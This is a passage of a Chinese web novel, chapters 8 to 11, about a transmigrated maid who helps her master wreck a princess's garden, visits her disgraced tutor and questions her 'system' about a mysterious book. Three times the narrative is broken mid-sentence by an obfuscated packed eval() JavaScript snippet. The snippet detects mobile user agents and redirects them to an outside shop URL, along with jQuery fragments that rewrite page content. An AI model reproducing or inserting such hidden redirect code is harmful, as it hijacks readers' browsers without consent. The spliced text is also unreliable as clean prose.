陵光闪电般上前,结果扶他的那双手与他衣摆擦肩而过,不尴不尬地停在半空中,旋即也跳进花圃,夸张叫道: “世子!您无碍吧世子!” 好烂的演技。 我嘴角抽了抽,总算知道李怀远今日为什么要穿丑丑的旧袍子了,这主仆两个故意得有点过于明显了。 安乐嗜奇花异草如命,这是京城里出了名的事,她府中这个花圃是前几年花重金打造而成的,甚至有些品种由西域进贡而来,连御花园也不曾见过。 方才李怀远跌进去后又滚了两圈,眼见压死了不少,陵光还“不小心”踩死几株,连我看着都心惊肉跳的,不知安乐看到后该如何发疯发狂了。 正想着,安乐就领着一众婢女雍容华贵地朝此处走来。 她身后一个女使将头埋得极深,脸上赫然有个巴掌大的手印,又红又渗人,显然是刚刚又被安乐随意打骂过,而安乐却丝毫不以为然,脸上挂着笑意道: “怀远表兄,你今日怎么得空……” 话音未落,突然一转头看见花圃里被压死的大片花草,深吸一口气正欲尖叫,岂料李怀远先发制人,不等她发作,朝着众人先喊道: “都退远点,这里有蛇!” 此话一出,刚要靠近的仆役们也都愣住不敢上前,深怕那蛇有剧毒咬伤自己,一命呜呼。 安乐就更不用说了,足足往后退了好几丈,明明气得脸色煞白,却是憋着不敢出声。 看她此般模样,我突然就生出一股舒爽的报复后的快感,恨不得让李怀远把那个苗圃连根拔起。 8. 第 8 章 说时迟那时快,只见两把利刃同时出鞘,一道银光院中起,长剑如芒,嘶嘶破风,李怀远与陵光三五下就将那毒蛇给剁成了肉泥,不仅如此,名贵的花木也被砍得七零八落,几乎死绝。 陵光做戏做全套,还把毒蛇“尸体”埋在了土里,充作花肥。 理了理竹青色的衣袍,李怀远率先出了园子,一本正经安慰众人:“毒蛇已被砍死,大家无须担心。” 顿了顿又道:“花匠现在何处?让他速速过来见本世子。” 此处闹哄哄地好一阵子了,哪还用别人通知,几乎是一瞬间,人群中就窜出来个长相极好的青年男子,一下子跪在地上,哆哆嗦嗦道: “世子饶命,公主饶命啊,小人辰时视察花圃还好好的,不知这几个时辰的功夫,怎么就……” 李怀远敛了神色,佯装发怒:“大胆!你身为花匠,竟不知霁雪玲珑不可移栽至府邸吗?万一公主有个好歹,就是诛你九族也不为过。” 毒蛇也许是他使的障眼法,但这句话却丝毫不假。 霁雪玲珑是一种长在林子深处很罕见的花,绽放时花蕊上的粉末会散发出一种奇特的香气,极易招来蛇虫,尤其是毒蛇。因此,即使京中的达官贵人有机缘得到此花,一般也不会种在自家庭院。 除了从不把人命当回事的安乐。 李怀远表面看似责备花匠,实则谁不知道安乐向来一意孤行,没有她的旨意,谁敢栽种这种花来。 此刻,安乐看着自己心爱的花圃被糟蹋了大半,站都快站不住了,被两侧的婢女扶着,仿佛心在滴血。 “将这个花匠给我拖出去……”李怀远眯了眯眼,火上浇油。 安乐闻言连忙道:“表兄且慢!这、这不怪花匠,都是我愚昧无知,才险些害了自己,不关这小花匠的事。” 我挑挑眉,她会这么好心?再一看她盯着那个花匠的眼神不甚清澈,登时便明白了过来,好嘛,原来是养在府里的得宠面首啊。 忍不住在心里给李怀远竖起大拇指,这下安乐可真是打破牙齿和血吞了。不仅如此,她还得给李怀远赔个不是。 “表兄恕罪,那毒蛇没惊着你吧?” 李怀远面不改色道:“惊肯定是惊着了,不过你放心,我府上有陛下前日里赐的安神香,要是夜里做了噩梦,我就让人点上一支,不打紧的。” 又话音一转:“可你府上这个花匠,却是不能再留了,竟敢将如此险恶之物栽在府邸,虽说这是你的主意,但他既起不到规劝主子的作用,我看还是呈报陛下另择他处吧。” 这个“他处”,任谁都能听出来言外之意就是身首异处的意思。 安乐忙道:“我明日就将他打发走,此事就不劳烦父皇了。” 李怀远道:“此等小人惯会花言巧语,只怕你应付不来,还是我来替你打发吧,来人,带走!” “……”安乐恐怕是无语死了,短短一刻功夫,爱花也亡了,爱宠也没了,偏她还不能说什么,只能先请李怀远去正厅喝茶压压惊。 被李怀远这么一闹,公主府上下一众都有些魂不守舍的,我一看此时正是绝好时机,赶紧踱步到李怀远跟前,小声道: “世子,奴婢许是吃坏肚子了,想去茅房……” 李怀远嫌弃地看了我一眼,挥了挥手:“去吧,下次少吃点。” “……” 为了不掩人耳目,我特地捡着偏僻的小道来走,公主府我来过一次,当时刻意记下了整个府邸的布局,这次再走,果然轻车熟路了很多。 穿过长长的前厅和庭院水榭,终于,在湖水后面一处竹林里停下了脚步。隔着芦苇远远望去,有一人正醉卧竹屋前,发髻凌乱,衣冠不整,闲散地仰躺在吊椅上。 忽而眼前出现八岁那年,第一次在掖庭见他的画面。 那年他也才十八岁,称不上老成持重,只是他与我遇见的很多人都不一样,不算傲然贵气,惟余一身书卷气息迎风扑来。 当时我在掖庭认识的小壶姐姐死了,哭得不能自已。他蹲在我跟前,给我讲历朝历代的寒门贵子,巾帼英雄,告诉我乾坤之大,即便暂时身处深渊,但只要心生羽翼,定有脱困之日,终会如仙鹤般腾于广阔天地。 大约就是在那个时候,我开始渴望真正的自由。 后来我经常向他请教学问,熟知当朝律法,知晓女子亦可为官。 “九万里风鹏正举,风休住,蓬舟吹取三山去!”他科考一举便中前三甲,前途无量。可就在这个时候,安乐出现了。 她大约从未见过这样的人,虽不是上好皮囊,却如深潭之渊,清冽透彻,于是软磨硬泡地让圣上降旨招他为驸马,生生折断了他的羽翼。 历朝以来,身为驸马不得身居要位,因此他只能领了个礼部的闲职。后来不知道哪里来的流言,说他早就攀附上了安乐公主,要不是科考舞弊,一介寒门如何跻身前三甲。 他变得消极,郁郁不得志,安乐气他对自己不上心,故意养了十几个面首,外面的人皆道他失了宠,拿他与秦楼楚馆作比较。 他终于不堪污秽流言,辞了官,从此再未出过院门。 上次我借着修缮府邸的名头来探望他时,他还算怡然自得,现在却被安乐折磨成了这个样子。 说来奇怪,他明明就在我眼前,可我却似乎再也看不见那个说出“九万里风鹏正举”的人了。 “先生。” 我轻轻唤了一声。 他是进士三甲,是教我明理的恩师,是对我来说亦兄亦父的人,如今变成这般模样,我不禁潸然泪下。 听到熟悉的声音,他明显背部一僵,待转过身来已是红了眼眶。 “今禾,你来了。” 我哽咽着不让自己哭出声来:“您受苦了。” 方才来的路上,见池中的荷花如凌波仙子般开得正盛,而此处的花缸里,却只剩下几茎残荷,外面吵吵嚷嚷的,仿若将此处隔绝开来。 原来任何时代,要想毁掉一个人都是件轻而易举的事。 他既没有招呼我落座,也没有寒暄几句,我感觉他整个人都恹恹地,没有丝毫生机。 想让他开怀,就尽捡了些好的事讲给他。得知我脱了宫里的奴籍去了世子府,他喜忧参半,眉头微凝: “虽说世子府没有宫中凶险,可凌安王世子也不是好糊弄的,你既心存高远,那你那个见不得人的身世……就一定得捂好。” 我点头应下。 想起当初李怀远问我,是不是前任中书令沈云期之嫡孙女,沈今禾?我回答是。 其实根本不是。 十几年前钱王谋逆案告终后,同党女眷皆发配掖庭为奴,我恰恰也是那时来的掖庭。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204082|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >六七岁的年纪,救下与我同龄饿得发昏的沈今禾,她与我年龄相仿,祖父与父亲被斩,母亲不堪折辱自缢而亡,懵懂无知的豪门长女,脱离了家族庇佑就很难活下去。 后来她久病未愈,没过一个月就死了。 在这期间,我们俩几乎形影不离。我偷来了剩饭剩菜会分给她,她也会把私藏的《史记》孤本拿给我看,那是她祖父生前所留,太宗皇帝曾做过详细注解的孤本,无比珍贵。 我承认跟她走的近,不单单是看她无法自保而心生怜悯,也是为着这本书来的。 她死时,我偷偷拿走了那个孤本,也悄然拿走了她的人生。 那些日子掖庭人手不够,录事的宫人是借调来的,并不认识我的模样,核实人口时,我告诉他死的人没有名字,是个皇商小妾所生的庶女,而我叫沈今禾。 那时沈今禾氏族之人七零八落,被打散在宫中各处,没有人关心谁已经死了,谁还活着,但我还是担心被他们认出,所以我用利器碎片划破面容。 按照宫中规矩,面容丑陋者必须携戴面纱以恐冲撞贵人。我足足带了五年的面纱,直到样貌发生变化,才敢以真实容貌示人。 我祈盼终其一生,也不要有人得知我真正的身份,否则授人以柄,翰林无门。 风吹树叶簌簌作响,唤回了我的思绪,甩开脑海里那些沉重的回忆,我抬起头看向正在整理书籍的先生: “您近日里,还在修史编志吗?” 他看起来精神头不大好,摇了摇头:“也就晒晒书,赏赏月,书是编不太动了。” 我背过身胡乱抹了一把眼泪,转过来语气轻松地笑笑:“说什么呢,跟个小老头似的,你才二十八啊,明明而立之年都不到,说什么古来稀的话。” 他跟着我笑:“既然来了,就帮我收一收院落里的字画书籍,想是要起风了。” 树影流动,稀稀疏疏地打在微微泛黄的纸张上,我点点头。 这里偏居一隅,与华贵的公主府格格不入,院里搭着长长的竹竿,有的上面晒满了书,有的爬满了藤蔓,缠缠绕绕地一直延伸到了墙外。 浮云一别后,已经有几年没见过先生了呢?记不大起来了……平日里总念着他,想着有很多话要说,可如今面对着面,反倒不知该说些什么好。 想让他活得松快些、自在些,但自古都是旁观者清,当局者迷,他在迷雾之中脱不得身,我就算说一万句不要在意流言蜚语,又能有什么用。 正想着,突然听见头顶传来一声尖叫:“快来!你快来看,这、这是……” 突如其来的系统声吓得我身子猛烈一颤,我抚了抚胸口,正要叫它不要一惊一乍的,结果自己走过去一看,却是心脏差点都要跳出来了! 只见偏僻的一处石桌上,静静放置着一本书,这本书与周围的其他书册相差过甚,它是彩色绘本的封面,硬皮纸,字体是简体中文印刷。 我一脸愕然,当即反应上来,这不就是我穿进来的那本书吗! 它是怎么出现在这里的?! 不仅是我,连系统都彻底凌乱了:“这这这……驸马这个人,你确定没有问题吗?”它转过屏幕取,打量着院落另一头,大胆猜测:“难道他和你一样,也是进来受惩罚的?” 我白了它一眼:“以你的判断能力还是别胡乱猜了,直接去问吧。” 9. 第 9 章 先生不是个擅长说谎的人,这点我还是信得过的。何况相识十年,他要真不是这个世界的人,我怎么可能一点蛛丝马迹都发现不了。 于是也没多想,拿了书直接就问:“先生,此书您是从何得来的?” 谁知我刚一开口,他立马就变了脸色,避开公主府的仆役,将我引到一处角落里。 四下张望,见无人后才松了口气:“怎么在这儿,这书我找了好一阵子都没找见,竟是混在了院子这沓旧籍里……” 他看着我犹豫道:“有件事不知道当不当讲,说起来有些荒诞不经,半年前,我遇到了个奇事…” 我微微颔首示意他说下去。 “那日,我祖传的玉坠掉进了竹林外的湖里,便赶紧遣了人来打捞,足足捞了好几个时辰都没找到。就在我心灰意冷之际,突然有个仆役从湖底扯出个巨大的渔网,众人一齐把它拉至岸边,我上前一瞧,网住的东西还真不少,不过大部分都是些水草垃圾之类。” “好在我那枚玉坠也在其中,它好似缠在了什么厚厚的东西上,我用帕子擦干净一看,才发现形似一本书。” “可这书相当怪异,明明在湖里泡了那么久,不仅没有腐烂,还极易晾干,只经过一日的晾晒就完全干透了,上面的泥渍也消失了,竟完好无损如崭新的一般。” 我听得微微出神,手里翻书的动作一顿,突然想起了什么。 “先生可记得此事具体是半年前的哪一天?” “记得清楚。”他十分确信道:“正月十五,上元佳节,那日是我的生辰,不会有错。” 我心头一震,那不就是时隔十八年、系统第一次出现的日子吗! 这两者之间究竟有什么关系?竟然同一天出现,看来此事绝非巧合。 先生见我神色有异,忙问:“难道你也见过这本奇书?” 我不知道该怎么合理地解释,只胡诌道:“幼时机缘之下,曾见过有位胡商贩卖这些稀奇古怪的玩意儿,想必这东西是那边能工巧匠制作,进而传到中原来的吧。” “若只是稀奇古怪些倒好说,毕竟世界之大无奇不有……”说着他话锋一转,压低了声音:“可这书,似乎是本神书。” 我眼皮狂跳,不知他是不是发现了什么,只听他道: “起初我以为,这只是哪位书生无聊时写的话本子,可后来却发现其中大有玄妙,这本书——似乎有着预示未来的能力。虽说里面尽写些让人摸不着头脑的的情情爱爱,但很多瞩目的大事件,竟是都与现实一一吻合的。” 我知道他定是要提春日朝贺宴了。 果然。“就拿此次朝贺宴来说,我特意留心了书中的诸多细节,都与此次事件完全一致,另外书中写的三皇子在大郅国都内所历之事,也都逐一应验。” 作为书中之人,突然有一天发现这样一本带有精准预言的书,任谁都会觉得心惊肉跳、十分诡异的,即便是一直恹恹的先生,说起这事儿来也有了几分精神。 不过,好在这本狗血文实在是太无聊了,而且和大郅国基本无关,先生看完也没有很惊愕到哪里去,只是一头雾水: “这三皇子和皇子妃,怎么总轮番着失忆,莫不是秋弥国那边有什么独特的风俗?” “……”我该怎么告诉他这只是一本狗血文。 “先生,此书可否借我观看几日?”直觉这本书不简单,或许跟我与原世界断联十八年的原因十分有关。 闻言他似有些为难,思忖道:“我观书中对秋弥国朝堂涉及颇多,还想再研究一阵子,要不待我看完,过些日子再找个机会潜人给你送过去?” 还想再说些什么,这时,院外突然传来一阵窸窸窣窣的脚步声。 我一回头。那人看见我还在此处,顿时急得一跺脚: “哎呦,祖宗啊,我说你怎么还在这里呢,眼看着公主和世子就在湖对面水榭落座了,你赶紧走吧,万一被发现了咱们都吃不了兜着走。” 说话之人名叫引顺,以前在皇后跟前当差,与我交情十分不错,后来安乐建府别住,皇后就把引顺派来伺候安乐了。 正因如此,我才得以如此轻松地见到驸马。 只是还有好多话没来得及给先生说,想叫他好好活着,不要放弃希望,想告诉他我会竭尽全力地救他,可人不能因自己的私欲就白白断送了旁人的前程。 故而那头话音刚落,我就“噌”一下子起身往外面走。行至院外,终是没忍住回头看了一眼,朝先生行了一礼,道: “先生保重。” 说罢便从柳林旁一条蜿蜒的小径穿过,远远地,看见安乐领着一群人在碧波水榭吃茶,李怀远负手而立,定定看着湖中央,不知心里在想什么。 我猫着腰疾步向前走去,再行至一段,从前面花树处绕个弯就能混进人群了。 谁知竟这般不凑巧,安乐突然兴起,站起身往湖对岸一瞥,恰好将我瞧了个正着,顿时脸色大变。 要知道湖对岸只有那么一座院落,那就是驸马的居所,安乐现下虽对驸马不像新婚时那么感兴趣了,可毕竟两人还是夫妻,面子总归还是要的,这么明晃晃看见个妙龄女子从驸马院里出来,不生气才怪。 毫不意外,我立即就被府兵虚押着跪在了她面前。 大概是碍于李怀远在场,她没有直接发疯,但声音里也是压不住的火气: “说!你一个小小奴婢去驸马院里干什么?今日你胆敢有半句谎话,本公主即刻着人……” 不等她说完,一旁便传来另一道声音,声线冷冷的,带着初冬的淡淡凉意与漠然。 “怎么去了这么久?” 能如此漫不经心打断安乐的人,除了李怀远还能有谁,我接收到他示意过来的眼神,灵机一动,忙不迭说道: “回世子,驸马久病难医,身体破败之处堪多,奴婢也是诊了好久的脉象才探查出症结所在,待稍后回去开了药方,再派人送来公主府。” “大胆奴婢!竟敢当着本公主与凌安王世子的面胡诌。”安乐一脸不相信地看着我道: “你两手空空还敢说自己是去看诊?再说你是个什么身份,驸马千金之躯,也是你一个下人能看得的?” 我将头埋得极深,诚惶诚恐:“回公主,驸马的病症常年不愈,院里一直都是备着专门的药箱,无需奴婢另行准备。久去未归也当真是驸马病重,奴婢不敢撒谎,怪只怪奴婢医术不精,请世子责罚。” 李怀远“嗯”了一声:“那也怪不得你,你本就是被我硬拉来的,起来吧。” 那头安乐看我们主仆一来一往地自顾自说,微微皱起眉头:“表兄,这是怎么一回事?” “前几日我进宫面圣,陛下说起驸马身体抱恙已久,叫我多留意些,若有名医能士能解了他的病,也算是解了陛下一桩心事。我府里这小婢女,有些祖传的奇特医术,我今日便专门将她带来给驸马瞧上一瞧。” “哦。”只要不是驸马的奸情,安乐才懒得关心,只嗔怪了一句: “表兄真是的,怎么不早些与我说?” “方才一来就想说,结果被你府上莫名出现的毒蛇吓着了,遂将此事忘了。” 说着还装模作样抚了下心口,我差点脚底一滑栽倒在地,陵光也摸摸鼻头望天,他这倒打一耙的本事,只怕是大郅京城都无人能及。 安乐一听毒蛇,又不由自主想起自己那一亩多已被毁掉的名贵花草,顿时脸上白了又白,哪里还想管是谁去给驸马看病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204083|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。 额头和后背都吓出了不少冷汗,我偷偷地呼了一口气。 此事看着风平浪静而过,但刚刚可当真是千钧一发地凶险,以安乐的脾气,我要是说不上来什么合适的理由,又恰好撞上她今日这般心情极差的时候,那直接被她乱棍打死都是稀松平常的事。 好在李怀远四两拨千斤,三言两语就把这事儿给圆过去了,我现在只觉得他是金光闪闪的菩萨,恨不能给他上三炷香来。 李怀远:“……” 寒暄了没多久,李怀远就以府内有要务为由拒了安乐的晚宴之约。 回程的马车上,气氛格外地诡异。 我看看主位上如来时般闭目养神的李怀远,又看看对面跪坐在垫子上那个侍花的漂亮小面首,眼角突突直跳。 没由来地蹦出个大胆的想法。 李怀远该不会是、是……自己也看上安乐的面首了吧!所以才借故把他带走了…… 对面之人被我盯得面红耳赤,干脆也闭上了眼,马车穿过大街小巷疾驰而过,最终在城外的官道上停了下来。 陵光从车辕上跳下来,不知道正在和道路那头出城的牛车交谈什么,只见他从怀中掏出几两银子,转手递给车夫,那车夫眼睛放光连连点头。 李怀远收起一条腿,胳膊搭在膝盖上,慢悠悠道: “往后别再来上京了。” 我竖起耳朵听着,那小面首突然涕泗横流,跪在地上连连磕头:“谢世子大恩!谢世子大恩!” “行了,赶紧走吧。” 小面首双唇紧紧抿在一起,胡乱抹了一把眼泪,抱拳道:“世子大恩,小人来日再报。” 说完提起把剑动作利落地跃上牛车,那车夫扬鞭一抽,牛车便吱呀吱呀地离京而去,逐渐消失在暮色之中。 “别看了,口水都流到案几上了。” “啊?没有啊。”我下意识地擦了擦,说完才发现是李怀远故意的。 只能硬着头皮说:“奴婢发誓,只、只爱慕世子一人,对那个漂亮小面首则是完全出于好奇。” “漂亮吗?”他皱了皱眉。 “自然没您漂亮。”我眯眼一笑,岔开话题:“世子为何要救此人?” 方才在公主府,李怀远让人将安乐的面首带走时,我只以为他是单纯地找安乐的不痛快,着实没想过还有救人这个可能。 李怀远白了我一眼,慢条斯理地端起茶喝了一口,我这才注意到,他不知什么时候已经换了衣服,通身雪白绸缎,腰间换成了块羊脂白玉,松松系在条白绫长穗绦上。 竟如谪仙般让人挪不开眼。 “那人是我一位故交的族弟,原本是来京城探亲的,可探了大半年都不见回去,家人里着急,让那位故交写信托我在京中寻一寻,我也是寻了月余才得知,煌煌天日,天子脚下,安乐竟敢直接掳了人幽禁在自己府邸。” 他说话时语气很淡,却能听出缕缕寒意。 我在心里冷笑,依安乐的性子,强取豪夺还不是家常便饭。 这小面首还算幸运的,家人结交了李怀远这样的大人物,才得以虎口脱身。可想那些没有门路的平头百姓,他们受的辱丢的命又向谁去诉说? 见我闷着头不说话,李怀远道:“在想什么?” 我一愣,抬头道:“在想漂亮的男孩子果然不适合来上京城。” 李怀远:“……” 马车调转方向,不紧不慢地走在回城的路上,薄入西山的暮光斜斜洒在车前的走马灯上,李怀远似是突然想起了什么,一转面色,微微不虞。 伴随着泠泠淙淙的马车前行的响声,只听他道: “你是不是也该交代一下,今日在公主府的事?” 10. 第 10 章 我早就预料到他会有此一问,已经想好了如何对答。 其实这也没什么好隐瞒的,凭他的本事,只要真心想查,又怎么会查不出我和驸马昔日的关系,便一五一十地说了实情。 李怀远沉吟片刻,脸上看不出什么喜怒。 “你胆子是真不小,就算是想顺道探望自己的旧师,那好歹也得擦擦眼睛看清自己在哪儿吧,安乐的府邸焉能是你随意进出的?你还真当她是什么真人菩萨热心肠?” 她的狠辣我自是再了解不过了,可今日我敢如此行事,其实也有狐假虎威的成分。 再怎么说我也是世子府的人,安乐就算气急败坏要杀我,也得李怀远同意才行。 思及此,忙陪着笑脸给李怀远按了按腿,在掖庭的时候,曾和一位老公公学了些疏通经络的手法,手上寸劲掌握得还算得当。 见他舒舒服服地享受着,我从善如流:“世子教训的是,奴婢日后定当以此为戒,三思而后行。” 李怀远用下巴点了点另一条腿,冷哼一声,显然是不信我的话。 “你八岁识得驸马,如今已有十年之久,他既对你亦师亦兄,你敢说若有朝一日有机会救他于水火,你会不去?” 心思被戳中,我面色一僵,强装镇定地将问题抛了回去:“如果是世子遇到这样的事,那您会选择自保还是救人呢?” 李怀远嗤笑一声,没有答话。我这才反应上来,原来早在当初静文大公主和亲时,他就已经做过选择了。 回到世子府时,天边的骄阳已经暗了下去。 温风阵阵,不觉已到了晚膳时分,李怀远回了主院,没有吩咐意思就是没我什么事了。 我拖着疲惫的身子回了后院,沐浴更衣,关了房门,盘腿坐在榻上。 今天发生了很多事,多到我甚至来不及思考那本书的蹊跷之处,此时静坐在这里,无数的思绪争先恐后地往脑海里飞。 扶着酸胀的前额,我抬头看向系统,从驸马院子里出来到现在,它就一直缩在角落里不出声。 我神色一凛,问道:“十七,你是不是有事瞒我?” 银白的月光透过窗柩照在屏幕上,一室寂静,这还是我第一次郑重其事叫它的编号。 只见系统摇摇头,一副要哭了的架势:“我不知道啊,我什么都不知道,求求你,不要问我。” 良久,我叹了口气。 “罢了,你也只是个打工的。我知道你大概有不能开口的苦衷,你不必回答我什么,只需要在我推测时点头或者摇头即可,这样可以吗?” 系统如蒙大赦,眼泪汪汪地猛点了几下头。 我回忆着以前在哪看到过的穿书指南,缓缓开口:“驸马府邸的那本书,是用来联系我和原世界的载体对吧……” 系统点头。 “载体是不是会随着穿书者一同进入书里……” 它摇头。 我一顿,竟不是这样?那就是说,“载体不会到书中来,它自始至终都该在原世界才对?” 系统连连点头。 我懂了,这就好比手里的风筝线,即便风筝飞得再高再远,只要线还在,连接就在。 “可它不知怎么来到此地,落入了湖底,被湖水阻隔开来,信号中断,所以系统这十八年来才检测不到我。” 而上元佳节那日,驸马无意间将它捞出,于是系统自然而然又能感应到我的存在了。这也让我回想起搜索原文时的事,那时屏幕一直显示正在加载中,应该也和本体落水后信号接收变弱有关。 见它没有否定,我继续往下说: “照这么说,那我的悲惨出身,也不见得就是系统为惩罚我而专门设定的……很有可能,你们也不知道为什么会变成这样。” 系统狠狠点了几下头。 “至于你什么都不能说,是因为整件事很可能并不是哪里出了bug,而是有人故意而为。而你们内部在查清之前,并不希望外界知道此事,尤其是我,本次事件的受害者。” 我阴恻恻地看着它。 它一哆嗦,点了点头又摇了摇头。 我猜它点头是因为我大部分都没说错,而摇头则是因那句“有人故意而为”,怕是它自己也不确定真相到底是什么。 关于这一点,早在公主府我就隐隐想到了这个可能性,可直到现在,我仍是无法说服自己,原世界大概有人要害我这个事实。 我发誓这二十几年来从未得罪过什么人,不偷鸡也没摸过狗,安分守己与人为善,就差普度众生了。 按说我一没钱二没权,谁会专门跑来害我呢? “除了上面那些事,有没有什么别的是你可以说的?”我若有所思道。 系统僵硬地露出一个比哭还难看的笑容:“你都猜到这个份上了,还有什么是不能说的……” “哦,那你说吧。” 系统一噎:“……” “说吧,我也猜得八九不离十了,不是吗?” “好吧。”系统“呼呼呼”地换了几口气,小心翼翼道:“你走之后,有人登过你的穿书ID号。” “什么?!” 我“噌”一下子站直了身子,瞬时一股寒意从脚底生出,直窜心头。 是谁?谁会知道我的ID号?在我原来的世界,穿书这个行为虽常见,却有着一定的危险性。 为防止穿书者在穿书后,有人恶意破坏或中断程序,使得穿书者意外受伤或死亡,因此每个人都有一个单独的穿书ID,这是比身份证更加私密的东西,一般连要好的朋友也不会告知。 “你再好好想想,之前有没有给谁说过?” 我又不是傻子,怎么会无端端地去给别人说这个,再说这东西,尽管对自己十分有用,对别人却是无甚用处的,别人又不能拿着你的ID去取钱买东西,所以一般也没人会问这个。 再说就算他拿到了我的ID,没有系统专业人员的操作,一般人也不懂如何传送,以及传送到哪里,更别说切断载体了。 “我想起来了,在进来这本书之前,有个朋友去我家里借住了几天,可我实在想不起来她有什么逾矩之举。”也不愿相信她会做出这样的事。 “哦对了!我姐姐在我穿书前一天给我打过个电话。” “说什么?” “记不太清了。”毕竟我已经在这个世界里待了十八年,“不过总觉得她问了句什么要紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204084|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话……” “你快想想。” “当时我正边唆鸡爪边看这本狗血文……这时她打来电话,好像是问了句…我寄过来的鸡爪你还喜欢吗?” 系统打了个冷颤:“怎么被你一说,感觉这句话阴森森的。” “胡说,鸡爪子这么可爱!” “鸡爪可不可爱不要紧,要紧的是得赶快揪出来那个登录你账号的人。” 系统飞在我头顶道:“载体的事我汇报了,组织已经立案,估计警方一两个小时就能在线上排查完和你有过接触的人。” 科技发达就是好啊,我摊开双臂向后倒在被褥上,望着黑漆漆的房梁。就是不知道他们查出结果时,这书里又要过多少时日了。 …… 云天收夏色,木叶动秋声。 黄叶落满了亭台楼阁的檐角,菡萏残落,偶有一两只池鱼游过,泛起一片涟漪。 叶绥隔三差五地就来听一次学,每回来,都能惹得一群女婢花枝乱颤。 他长着张惑乱众生的俊脸,高鼻深目,身体修长挺拔,看似不易亲近,然而性子却是十分跳脱的,女婢们觉得他温润随和,像个憨傻可爱的玉面少年郎。 平日里他也没什么小少爷的架子,与世子府一通女使婆子很快就熟络了起来,经常是做完了课业也不走,留下来与众人把茶言欢。 可他这一欢,我却有苦说不出了。 近日里哪哪都有他,前厅里,亭台处,游船画舫上,冷不丁一碰上,我就得赶紧躲,生怕他什么时候打开了任督二脉,把我给认出来。 有一日,李怀远正在书房专心看《四书章句集注》,突然莫名其妙笑了一声。 我整理旧集的手一顿,只听他道:“近日怎么都不见你去廊下听韩先生授课了?” 还不等我回话,他眉眼弯弯,看起来心情颇好,“哦”了一声: “是因为叶绥吧?你是不是也觉得他烦?” 烦…还是不烦?眼珠一转,我犹犹豫豫地点点头,试探道:“我看我近日还是待在书房,先不要出去了吧?” 李怀远的腿松松搭在案几上,修长的指节点着书册,目光略过一行行字句,闻言抬了一下眉梢:“我看你看的很对。” 就在我还在来回咀嚼这句话的意思时,又听见他漫不经心地说: “左右你既不是太子的人,也不是皇后的人,只要不当值,你想去听课就去听,想待在书房就待在书房。” 我懵懵地抬头,不知他这是何意?但我看得出来他心情尚可,还跟我闲来讨论了会儿孟子、荀子之列。 春时午后,婆娑的风兀自拨弄着院内的枝叶。 李怀远如此笃定地说出我不是谁的人,是他真的已经里里外外全查了个清楚,还是只是在玩欲擒故纵的把戏? 我大着胆子问:“大人既知我只是普通奴婢,从我身上查不出什么,怎么还一直不遗余力地要治好我背上的鞭伤?” 还带着我去安乐府上耀武扬威。 他长长的睫毛微眨,“啪”地合上了书,一本正经地回答:“你不知道,近日世子府不宜下葬,我怕你死了坏了府上风水。” “……”原来如此。 11. 第 11 章 我跪坐在案几前给他斟了一盏温茶,也不知道脑子突然哪根弦断了,下意识就问了句: “那大人是谁的人?” 李怀远似是没料到我会问出这样的话,握着杯沿的手一顿,不轻不重地将书摔在了桌上:“你近日真是愈发放肆了。” 我被他摔书的动作吓得一颤,下意识挡住额头。谁知他又轻轻一笑,捞了书若无其事地看起来,似乎并没有要怪罪我的意思。 花瓣被风一吹,悄然落入池塘,泛起一丝涟漪,不知道是不是我的错觉,总觉得最近我们的关系稍微有点暧昧缱绻了些…… 难道他突然善心大发,觉得我爱慕他这么多年,想要给我一些甜头? 不可能,他不是倾心于静文大公主吗? 那他图什么呢?图众星捧月?可外面那么多女人喜欢她,又不差我一个… 觉着我新鲜好玩?与众不同?还是说我比较耐用?毕竟既能拟奏章,又能谈诗文,还能侍奉茶水笔墨。 这时,头顶的卡通小人屏幕右手抱拳,连连打在左手掌心,一副“我早就知道了”的神态。 “看吧看吧,我之前没说错吧,这是让你经历白月光梗、替身梗的惩罚呢,李怀远一定是把你当成静文长公主的替身了。” “你可歇会儿吧……”我扶额。 …… “沈今禾,你怎么看太子此人?”李怀远突然发问,拉回了我的思绪。 太子?有点蠢,有点坏,有点不听劝。但我哪敢这么说,嘴上连忙答道: “太子何等尊贵,奴婢不敢看。” “是吗?”他似乎不信,“那你觉得皇后娘娘如何?” 不太如何,如果拿二十四史的先贤作比较,那就更不如何了,大概属于在其位、没能力谋其政的那种。 我声音低低道:“奴婢不敢妄论,这是要掉脑袋的事情。” 李怀远继续问:“那你觉得我怎么样?” 我一噎,与他四目相对,随即又红着脸摸了摸耳垂,装作不好意思地样子:“大人您如渊之清,如玉之洁,含霜履雪,义不苟合。” “怎么轮到我,你就敢随意妄论,这会儿又不怕掉脑袋了?” “奴婢这是在夸您呢。” 